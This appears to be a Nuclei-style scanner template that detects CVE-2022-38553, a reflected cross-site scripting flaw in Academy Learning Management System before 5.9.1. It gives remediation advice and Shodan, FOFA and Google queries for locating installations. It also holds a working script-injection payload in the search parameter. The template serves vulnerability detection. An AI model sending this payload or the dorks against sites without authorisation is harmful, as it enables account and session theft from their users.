id: CVE-2022-38553

info:
  name: Academy Learning Management System <5.9.1 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Academy Learning Management System before 5.9.1 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to Academy Learning Management System version 5.9.1 or later to mitigate the XSS vulnerability.
  reference:
    - https://www.youtube.com/watch?v=yFiZffHoeKs&ab_channel=4websecurity
    - https://github.com/4websecurity/CVE-2022-38553
    - https://codecanyon.net/item/academy-course-based-learning-management-system/22703468
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38553
    - http://academy.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38553
    cwe-id: CWE-79
    epss-score: 0.00212
    epss-percentile: 0.5922
    cpe: cpe:2.3:a:creativeitem:academy_learning_management_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creativeitem
    product: academy_learning_management_system
    shodan-query: http.html:"study any topic, anytime"
    fofa-query: body="study any topic, anytime"
    google-query:
      - intext:"Study any topic, anytime"
      - intext:"study any topic, anytime"
  tags: cve2022,cve,academylms,xss,creativeitem

http:
  - method: GET
    path:
      - '{{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'
          - 'Study any topic'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022005534406e2dbe5ea76bb4c8bfb4a2008a26d5d5fe1840245901c281af642019302210084eb17a6d16752ae532b35dfbfeea1800fe7b1d71b0173fb0031170a45144e44:922c64590222798bb761d5b6d8e72950